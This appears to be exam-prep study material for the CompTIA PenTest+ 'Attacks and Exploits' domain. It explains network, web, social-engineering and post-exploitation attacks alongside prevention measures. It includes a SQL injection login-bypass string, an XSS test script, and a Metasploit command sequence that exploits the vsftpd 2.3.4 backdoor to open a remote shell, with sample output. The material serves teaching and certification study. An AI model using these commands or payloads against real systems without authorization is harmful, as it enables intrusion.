PT0-002 Attacks and Exploits

Attacks and Exploits Detailed Explanation

This section, Attacks and Exploits, focuses on the practical execution of penetration tests. It covers how to exploit vulnerabilities and mimic real-world attacks to understand security weaknesses.

3.1 Network Attacks

What are Network Attacks?

Network attacks target the communication systems and protocols that connect devices. These attacks often exploit weaknesses in how systems communicate with one another.

Protocol-based Attacks

1. ARP Spoofing:

   • What it is:
     • The attacker sends forged ARP (Address Resolution Protocol) responses to trick devices into thinking the attacker’s system is the legitimate gateway.
   • Goal:
     • Intercept or modify network traffic.
   • Example:
     • A malicious actor sends fake ARP replies to a victim's system, making the victim send all traffic to the attacker instead of the router.
   • Prevention:
     • Use static ARP entries or enable dynamic ARP inspection.

2. DNS Poisoning:

   • What it is:
     • The attacker modifies DNS records to redirect users to malicious websites.
   • Goal:
     • Redirect traffic or create phishing schemes.
   • Example:
     • Changing a DNS entry to make "www.bank.com" resolve to an attacker’s IP address hosting a fake banking website.
   • Prevention:
     • Implement DNSSEC (DNS Security Extensions).

Network Hijacking

1. MITM (Man-in-the-Middle):

   • What it is:
     • The attacker intercepts communication between two parties, often without their knowledge.
   • Goal:
     • Steal sensitive data or manipulate communication.
   • Example:
     • Capturing login credentials sent over unencrypted HTTP by intercepting traffic between a user and a website.
   • Prevention:
     • Use encrypted communication (HTTPS, SSH).

2. Replay Attack:

   • What it is:
     • The attacker captures communication data and reuses it to impersonate one of the parties.
   • Goal:
     • Bypass authentication or perform unauthorized actions.
   • Example:
     • Reusing a captured session token to gain access to a user’s account.
   • Prevention:
     • Use nonces (unique values for each session) or implement timestamps.

3.2 Application Attacks

What are Application Attacks?

Application attacks target weaknesses in software, especially web applications, APIs, or services. They often exploit improper input validation, authentication, or session management.

Web Application Attacks

1. SQL Injection (SQLi):

   • What it is:
     • An attacker injects malicious SQL queries into input fields to manipulate the database.
   • Goal:
     • Access unauthorized data or compromise the database.
   • Example:
     • Inputting ' OR '1'='1 into a login form to bypass authentication.
   • Prevention:
     • Use parameterized queries or prepared statements.

2. XSS (Cross-Site Scripting):

   • What it is:
     • Inject malicious scripts into web pages that execute in the victim’s browser.
   • Goal:
     • Steal session cookies or redirect users to malicious websites.
   • Example:
     • Injecting <script>alert('hacked')</script> into a comment section.
   • Prevention:
     • Sanitize user input and implement Content Security Policy (CSP).

3. CSRF (Cross-Site Request Forgery):

   • What it is:
     • Trick users into executing unwanted actions on a website where they are authenticated.
   • Goal:
     • Perform unauthorized actions like transferring money.
   • Example:
     • A hidden form submission in a malicious email forces the victim to send a payment request.
   • Prevention:
     • Use CSRF tokens and verify HTTP referer headers.

API Vulnerability Exploitation

1. Unauthorized Access:

   • What it is:
     • Exploiting weak authentication or authorization in APIs.
   • Example:
     • Accessing admin functionalities by modifying API requests.
   • Prevention:
     • Use strong authentication and role-based access control.

2. Exploiting Unvalidated Input Parameters:

   • What it is:
     • Manipulating API input to cause unexpected behavior or gain access to sensitive data.
   • Example:
     • Passing SQL injection payloads through API endpoints.
   • Prevention:
     • Validate and sanitize all input.

3.3 Social Engineering Attacks

What are Social Engineering Attacks?

Social engineering relies on manipulating people rather than systems to gain access to sensitive information.

Types of Social Engineering Attacks

1. Phishing:

   • What it is:
     • Sending fake emails that appear legitimate to trick users into divulging information.
   • Example:
     • An email claiming to be from a bank, asking for login credentials.
   • Prevention:
     • Educate employees, enable spam filtering, and verify email senders.

2. Physical Testing:

   • What it is:
     • Gaining unauthorized physical access to an organization.
   • Example:
     • Impersonating a delivery person to enter a secure area.
   • Prevention:
     • Implement physical access controls, like keycards or security personnel.

3.4 Post-exploitation

What is Post-exploitation?

Post-exploitation refers to actions taken after successfully compromising a system. These steps help attackers deepen access or extract valuable data.

Types of Post-exploitation

1. Privilege Escalation:

   • What it is:
     • Exploiting vulnerabilities to gain higher privileges (e.g., from user to admin).
   • Example:
     • Exploiting a kernel vulnerability to gain root access.
   • Prevention:
     • Keep systems patched and use the principle of least privilege.

2. Lateral Movement:

   • What it is:
     • Moving across the network to compromise additional systems.
   • Example:
     • Using stolen credentials to access another server.
   • Prevention:
     • Monitor lateral movements and restrict inter-system access.

3. Data Exfiltration:

   • What it is:
     • Extracting sensitive information from the compromised system.
   • Example:
     • Stealing a database of customer information.
   • Prevention:
     • Monitor data transfers and use encryption.

Why are Attacks and Exploits Important in Penetration Testing?

Understanding attacks and exploits is essential for simulating real-world threats:

• Helps identify and fix vulnerabilities before attackers exploit them.
• Provides insights into the impact of security flaws.
• Ensures that defensive measures are tested and improved.

Summary

This knowledge area introduces techniques for attacking and exploiting networks, applications, and people. It also emphasizes the importance of post-exploitation steps like privilege escalation and data exfiltration. Mastery of these techniques helps you become a more effective penetration tester while adhering to ethical and legal guidelines.

Attacks and Exploits (Additional Content)

1. Attack Tools and Sample Output Interpretation

Understanding how to validate a successful exploit is essential. In the PenTest+ exam and real-world engagements, being able to interpret tool output is just as important as launching the attack.

Example: Using Metasploit for Exploitation

Scenario: Exploiting a vulnerable FTP service using Metasploit.

msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.100
run

Sample Output (Partial):

[*] Banner: 220 (vsFTPd 2.3.4)
[*] Exploit running as background job.
[*] Triggering backdoor command shell...
[*] Command shell session 1 opened (192.168.1.50:4444 -> 192.168.1.100:6200)

How to Know the Exploit Was Successful:

• The key indicator is:
  Command shell session 1 opened

• This means a shell has been created on the remote system — you now have code execution.

• If Meterpreter is used, you might see:
  Meterpreter session 1 opened, indicating a more advanced interactive shell.

Why This Matters

• The exam may ask:
  "Which of the following outputs confirms that the attack was successful?"

• Being familiar with this style of response from tools like Metasploit, Hydra, or SQLmap will help you choose the correct answer.

2. Classifying Types of Attacks

Attack types can be overwhelming without a clear taxonomy. This table will help organize the various forms of attacks covered in this module and in the exam.

By Activity Level

Type	Description	Example
Active Attack	Alters system or data, disrupts operation	MITM, SQL injection
Passive Attack	Gathers data without altering systems	Packet sniffing

By OSI Layer

Layer	Example Attacks	Tools Commonly Used
Network Layer	ARP spoofing, DNS poisoning, MITM	Ettercap, dnsspoof
Application Layer	SQL injection, XSS, CSRF	Burp Suite, OWASP ZAP
User Layer	Phishing, physical testing, vishing	SET (Social-Engineer Toolkit)

By Execution Nature

Type	Description	Examples
Static Attack	Targets code or configuration (non-runtime)	Hardcoded credentials, misconfigured headers
Dynamic Attack	Targets live execution behavior	Session hijacking, DoS, CSRF

Why This Classification Helps in Exams

You may be asked to select:

“Which type of attack involves unauthorized interception of traffic at the network layer?”

Understanding where each attack fits helps eliminate wrong answers quickly and select the right protocols, tools, and methods.

3. Tool-Based Execution Examples Per Attack Type

Connecting attack types with the tools used to perform them gives learners a deeper understanding of methodology and tool selection. Here’s a table you can insert into your content:

Attack Type and Tool Mapping

Attack Type	Tool Used	Method / Feature Highlighted
XSS	Burp Suite	Intercept HTTP request and inject <script>
SQL Injection	SQLmap	Automated testing of injectable parameters
DNS Poisoning	dnsspoof	ARP + spoof DNS reply to redirect traffic
Credential Brute Force	Hydra / Medusa	Multi-protocol brute-force capability
MITM (Man-in-the-Middle)	Ettercap	ARP poisoning + traffic injection
Phishing	SET (Social Engineering Toolkit)	Email template and payload generator
CSRF	OWASP ZAP	Identifies CSRF tokens and simulates actions

Summary of Enhancements

Area Enhanced	Key Additions
Tool Output Interpretation	Example: Metasploit’s “session opened” as success indicator
Attack Type Classification	Organized by activity (active/passive), layer (network/app), static/dynamic
Tool-to-Attack Mapping	Helps with practical understanding of tool capabilities per exploit type